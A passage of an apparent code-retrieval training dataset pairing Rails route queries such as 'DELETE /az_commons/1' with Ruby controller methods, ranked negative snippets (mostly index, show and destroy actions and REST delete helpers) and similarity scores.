"def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend"
] |
[
"0.6495916",
"0.62547135",
"0.62411004",
"0.6226977",
"0.6204481",
"0.60116357",
"0.5978979",
"0.59730524",
"0.5956479",
"0.59249187",
"0.58429193",
"0.5803627",
"0.57983243",
"0.57913923",
"0.5735941",
"0.5708214",
"0.5701436",
"0.57011306",
"0.5682378",
"0.566368",
"0.56610435",
"0.565494",
"0.56529766",
"0.56523675",
"0.5646761",
"0.5630084",
"0.56295335",
"0.5602954",
"0.55855364",
"0.5568956",
"0.55679196",
"0.5560072",
"0.55421287",
"0.5498275",
"0.5485791",
"0.5466663",
"0.5452449",
"0.5427208",
"0.5419045",
"0.54118377",
"0.540142",
"0.5399308",
"0.53900945",
"0.53712904",
"0.53709143",
"0.5359994",
"0.5356697",
"0.5352716",
"0.5341946",
"0.5326565",
"0.5310403",
"0.5304178",
"0.53024805",
"0.52885044",
"0.52882105",
"0.5266916",
"0.5266859",
"0.5266015",
"0.5251962",
"0.5249161",
"0.52485776",
"0.523304",
"0.5223666",
"0.5220615",
"0.5218092",
"0.5204607",
"0.51916784",
"0.51890826",
"0.5172749",
"0.5172551",
"0.5168488",
"0.516549",
"0.51628566",
"0.51569605",
"0.5149755",
"0.51495516",
"0.5141326",
"0.51359427",
"0.51276433",
"0.51243687",
"0.5123923",
"0.51234955",
"0.510872",
"0.5105679",
"0.5099235",
"0.5098667",
"0.50904113",
"0.5078477",
"0.5077541",
"0.5076926",
"0.5075927",
"0.507449",
"0.5073934",
"0.5062751",
"0.5051406",
"0.504901",
"0.5047493",
"0.5047283",
"0.5046826",
"0.5043717"
] |
0.50705385
|
93
|
DELETE /az_commons/1 DELETE /az_commons/1.xml
|
def destroy
@az_common = get_class(params).find(params[:id])
@az_common.destroy
respond_to do |format|
format.html { redirect_to(:action => 'index_user') }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_all(xpath); end",
"def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def test_set3_06b_delete_res_object()\n user = \"test_user\"\n priv = \"test_privilege\"\n res_ob_type = \"test\"\n res_ob_adr = \"/db/temporary/testsource\"\n \n @test_acl.create_principal(user)\n @test_acl.create_resource_object(res_ob_type, res_ob_adr, user)\n id = @test_acl.create_ace(user, \"allow\", priv, res_ob_type, res_ob_adr)\n \n @test_acl.delete_res_object(res_ob_type, res_ob_adr)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete(*uris); end",
"def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @az_operation = AzOperation.find(params[:id])\n @az_operation.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_operations_url) }\n format.xml { head :ok }\n end\n end",
"def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend",
"def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend",
"def delete!\n\t\t\tClient.delete @root\n\t\tend",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def delete(context, name)\n res = context.transport.delete_request(context, \"blobstores/#{name}\")\n\n context.err(res.body) unless res.success?\n end",
"def delete_from_disk; end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end",
"def test_set3_04c_delete_principal()\n user = \"test_user\"\n @test_acl.create_principal(user)\n id = @test_acl.create_ace(user, \"allow\", \"SELECT\", \"test\", \"/db/temporary/testsource\")\n \n @test_acl.delete_principal(user)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def rm(*path)\n super; on_success{ nil }\n end",
"def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def delete(name)\n\n end",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def web_dav_delete(*args, &block)\n args = web_dav_args args\n map_method :delete, args, &block\n end",
"def destroy\r\n @cat1 = Cat1.find(params[:id])\r\n @cat1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(cat1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def deletepublish\n @question = Publishquiz.find(:all, :conditions=>\"question_id=\"+params[:question]+\" and quiz_id=\"+session[:quizid])\n @question[0].destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @file_version.destroy\n head :no_content\n end",
"def destroy\n @ofx_transaction.destroy\n\n head :no_content\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy; delete end",
"def service_group_delete(a10, name)\n a10.send(:axapi, 'slb.service_group.delete', 'post', {name: name, format: 'json'})\nend",
"def destroy1\n @compare = Compare.find(params[:id])\n @compare.destroy\n\n respond_to do |format|\n format.html { redirect_to(compares_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n end",
"def destroy\n @sa = Sa.find(params[:id])\n @sa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sas_url) }\n format.xml { head :ok }\n end\n end",
"def delete(name); end",
"def delete(name); end",
"def delete\n \n end",
"def destroy\n @config_file = ConfigFile.find(params[:id])\n @config_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_files_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n \n end",
"def delete(filename); end",
"def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n request(:delete)\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def test_delete_file()\n\n path = 'folder/FileTest.pdf'\n versionId = nil\n storage = 'First Storage'\n request = DeleteFileRequest.new(path, versionId, storage)\n\n result = @storage_api.delete_file(request)\n assert result.code == 200,'Error while deleting document'\n\n end",
"def delete\n eadid = (params[\"eadid\"] || \"\").strip\n if eadid == \"\"\n log_error(\"Cannot delete EAD. No ID was provided.\")\n flash[:alert] = \"No EAD ID was provided.\"\n redirect_to upload_list_url()\n return\n end\n\n filename = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n if !File.exist?(filename)\n log_error(\"Cannot delete EAD. File was not found: #{filename}\")\n flash[:alert] = \"Source file not found for finding aid: #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n target = ENV[\"EAD_XML_DELETED_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n FileUtils.mv(filename, target)\n\n if !File.exist?(target)\n log_error(\"File delete failed: #{filename}\")\n flash[:alert] = \"Could not delete finding aid #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n Rails.logger.info(\"Findind aid #{eadid} has been deleted\")\n flash[:notice] = \"Findind aid #{eadid} has been deleted\"\n redirect_to upload_list_url()\n rescue => ex\n render_error(\"delete\", ex, current_user)\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def delete\n @options[:connection].delete(\"/namespaces/#{path}\") && true\n end",
"def delete\n\n end",
"def destroy\n @lob.destroy\n\n head :no_content\n end",
"def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @auto1h_fold_change = Auto1hFoldChange.find(params[:id])\n @auto1h_fold_change.destroy\n\n respond_to do |format|\n format.html { redirect_to(auto1h_fold_changes_url) }\n format.xml { head :ok }\n end\n end",
"def rm path\n end",
"def delete(args)\n args = {:path => args} unless args.is_a?(Hash)\n assert_supported_keys(args, [:path, :version, :callback, :context])\n assert_required_keys(args, [:path])\n args[:version] ||= -1\n\n if args[:callback] ## asynchronous\n raise KeeperException::BadArguments unless args[:callback].kind_of?(VoidCallback)\n return zoo_adelete(@zk_handle, args[:path], args[:version], args[:callback].proc, YAML.dump(args[:context]))\n end\n\n ## synchronous\n rc = zoo_delete(@zk_handle, args[:path], args[:version])\n raise KeeperException.by_code(rc), ZooKeeperFFI::zerror(rc) unless rc == ZOK\n return rc\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @colonoscopytest = Colonoscopytest.find(params[:id])\n @colonoscopytest.destroy\n\n respond_to do |format|\n format.html { redirect_to(colonoscopytests_url) }\n format.xml { head :ok }\n end\n end",
"def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end",
"def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end",
"def deleteFileFromServer(filepath)\n filepath = filepath[1, filepath.length - 1] \n address = @@host + \"/user/\" + @@conf[\"username\"] + \"/device/\" + @@conf[\"dev_name\"] + \"/files/\" + filepath\n \n res = HttpRequest.new(:delete, address).send(@@host) \n puts res\n puts \"CODE: \" + res.code\n\nend",
"def delete_file(filename,repo)\n curl_delete(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\").body_str\n end",
"def delete uri\n @change_semaphore.synchronize do\n filename = uri_to_file(uri)\n library.delete filename\n # Remove diagnostics for deleted files\n send_notification \"textDocument/publishDiagnostics\", {\n uri: uri,\n diagnostics: []\n }\n end\n end",
"def destroy\n @cso = Cso.find(params[:id])\n @cso.destroy\n\n respond_to do |format|\n format.html { redirect_to(csos_url) }\n format.xml { head :ok }\n end\n end",
"def delete(name)\n @ctx.delete(@path + name)\n end",
"def destroy\n file_store = FileStore.find_by_sha1_hash!(params[:id])\n if user['id'] == file_store.user_id || user['role'] == 'admin' ||\n (user['uname'] == 'file_store' && user['role'] == 'system')\n file_store.destroy\n head :no_content\n else\n render_error 403\n end\n end",
"def destroy\n @catalog = Catalog.find(params[:id])\n @catalog.destroy\n\n respond_to do |format|\n format.html { redirect_to(catalogs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @archdiocese.destroy\n\n head :no_content\n end",
"def _delete(type, *args)\n type = type.to_s.camelize\n metadata = args.map { |full_name| {:full_name => full_name} }\n request :delete do |soap|\n soap.body = {\n :metadata => metadata\n }.merge(attributes!(type))\n end\n end",
"def delete\n end",
"def delete\n end"
] |
[
"0.6939556",
"0.6889899",
"0.67618334",
"0.6665839",
"0.6657073",
"0.645977",
"0.6291324",
"0.6257252",
"0.62337685",
"0.61951244",
"0.6190986",
"0.6122008",
"0.61089253",
"0.60935533",
"0.6083684",
"0.6060604",
"0.6047522",
"0.6043572",
"0.60315126",
"0.60282415",
"0.6019818",
"0.6017465",
"0.6015682",
"0.6015682",
"0.6013198",
"0.60018754",
"0.5997002",
"0.59721786",
"0.5965949",
"0.59625894",
"0.5958915",
"0.5956938",
"0.59544015",
"0.5949496",
"0.5946253",
"0.5944342",
"0.5938215",
"0.59364736",
"0.5931568",
"0.5926007",
"0.5923925",
"0.5923408",
"0.5918724",
"0.591546",
"0.591546",
"0.591546",
"0.591546",
"0.5911496",
"0.59102315",
"0.5909275",
"0.590877",
"0.5905482",
"0.5898689",
"0.58958334",
"0.5884025",
"0.5883721",
"0.58785933",
"0.58777624",
"0.5877156",
"0.58767",
"0.58767",
"0.58744246",
"0.58672774",
"0.5862055",
"0.586205",
"0.58617234",
"0.5859072",
"0.5858641",
"0.5858641",
"0.58575463",
"0.5853283",
"0.5853283",
"0.58521104",
"0.5852108",
"0.5850359",
"0.5848716",
"0.5840072",
"0.58341515",
"0.5833283",
"0.5832226",
"0.5831227",
"0.58292395",
"0.58289135",
"0.5828703",
"0.58217806",
"0.58203125",
"0.5819423",
"0.58170956",
"0.5810622",
"0.58105904",
"0.58073056",
"0.5805925",
"0.5804962",
"0.58019185",
"0.5800356",
"0.57858974",
"0.57800186",
"0.5778221",
"0.5774096",
"0.5774096"
] |
0.6229394
|
9
|
GET /dividas GET /dividas.json
|
def index
if params[:data_inicio] == "" or params[:data_inicio] == nil
@data_inicio = Date.today.at_beginning_of_month.strftime('%d/%m/%Y')
@data_fim = Date.today.at_end_of_month.strftime('%d/%m/%Y')
else
@data_inicio = params[:data_inicio]
@data_fim = params[:data_fim]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @dividas = Divida.all\n end",
"def index\n @diciplinas = Diciplina.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @diciplinas }\n end\n end",
"def show\n @venta = Venta.find(params[:id])\n\n @domicilios = Domicilio.where(usuario_id: @venta.usuario.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venta }\n end\n end",
"def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end",
"def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end",
"def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end",
"def show\n @conta = Conta.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @conta, :include => {\n :movimentos => {\n :include => [:nota, :pessoa],\n :methods => [:favorecido],\n :except => [:created_at, :updated_at]\n }\n },\n :methods => [:saldo]\n }\n end\n end",
"def index\n @divisions = Division.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @divisions }\n end\n end",
"def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end",
"def index\n @ivas = Iva.all\n\n render json: @ivas\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguro }\n end\n end",
"def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end",
"def show\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end",
"def index\n @contas = Conta.where(nil) #Inicia Escopo\n @contas = @contas.conta_numero(params[:contaNumero]) if params[:contaNumero].present?\n @contas = @contas.conta_descricao(params[:contaDescricao]) if params[:contaDescricao].present?\n @contas = @contas.agencia_numero(params[:agenciaNumero]) if params[:agenciaNumero].present?\n @contas = @contas.banco_id(params[:bancoId]) if params[:bancoId].present?\n\n @contas = @contas.paginate(:page => params[:page], :per_page => params[:per_page])\n respond_to do |format|\n format.html { render :index }\n format.json { render json: {contas: @contas.as_json(:include => [:banco], methods: [:conta, :agencia, :saldo]), total: @contas.total_entries}}\n end\n end",
"def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end",
"def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end",
"def show\n @plato = Plato.find(params[:id])\n\n if !@plato.comentario.first.nil?\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end",
"def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end",
"def index\n if params[:site_id].nil? or params[:site_id].empty?\n @comentarios = Comentario.all # path: /types\n else\n @comentarios = Site.find(params[:site_id]).comentarios # path: /sites/id/comentarios\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comentarios }\n end\n end",
"def index\n @divisas = Divisa.all\n end",
"def show\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio_entrega }\n end\n end",
"def show\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recurso }\n end\n end",
"def index\n @instituicoes = Instituicao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instituicoes }\n end\n end",
"def show\n @lista_contato = ListaContato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lista_contato }\n end\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio }\n end\n end",
"def index\n @cadavres = Cadavre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cadavres }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def index\n if params[:categoria_producto]\n render json: Producto.find(params[:producto_id]).categorias\n else\n\t\t @categorias = Categoria.all\n render json: @categorias\n end\n\tend",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def division\n @divisions = @company.divisions\n respond_to do |format|\n format.json { render json: @divisions}\n end\n end",
"def show\n @humanidades3 = Humanidades3.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades3 }\n end\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end",
"def show\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pago }\n end\n end",
"def show\n @division = Division.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @division }\n end\n end",
"def show\n @calificacion_servicio = CalificacionServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calificacion_servicio }\n end\n end",
"def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end",
"def index\n render json: @fiestas\n end",
"def get\n @cine = Cine.find(params[:cine_id], :select => [\"nombre\",\"id\",\"direccion\",\"localidad\"])\n render :json => [ @cine, :peliculas => @cine.peliculas.select('titulo,horas,pelicula_id') ]\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n\n @evento = Evento.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @evento.id, :comentavel_type => \"Evento\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evento }\n end\n end",
"def index\n @horas_disponibles = HorasDisponible.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @horas_disponibles }\n end\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end",
"def show\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solicitud_servicio }\n end\n end",
"def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end",
"def index\n \n @controles_asistencias = ControlAsistencia.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @controles_asistencias }\n end\n end",
"def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end",
"def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def show\n @inscrito = Inscrito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inscrito }\n end\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end",
"def show\n @categorialivro = Categorialivro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @categorialivro }\n end\n end",
"def show\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @selecao }\n end\n end",
"def index\n @listas_contato = ListaContato.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listas_contato }\n end\n end",
"def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"def show\n @ejercicio = Ejercicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ejercicio }\n end\n end",
"def index\n @srsaas = Srsaa.all\n @srsaas = Srsaa.where(:section => 'A').order(\"id\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @srsaas }\n end\n end",
"def index\n @himalayas ||= Himalaya.limit(10).order('id desc')\n @descuentos ||= Descuento.limit(10).order('id desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @himalayas }\n end\n end",
"def index\n logement = Logement.find_by(id:params[:logement_id])\n equipement = logement.equi_securites[0].title\n equipements = logement.equi_securites[0]\n\n render json: {\n securites:equipement,\n fichier:equipements\n }\n end",
"def index\n find_dependencias\n respond_to do |format|\n format.html\n format.json { render :json => @dependencias.to_json(:methods => :alias_or_fullname, :only => [:id, :codigo, :nombre])}\n\n end\n end",
"def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end",
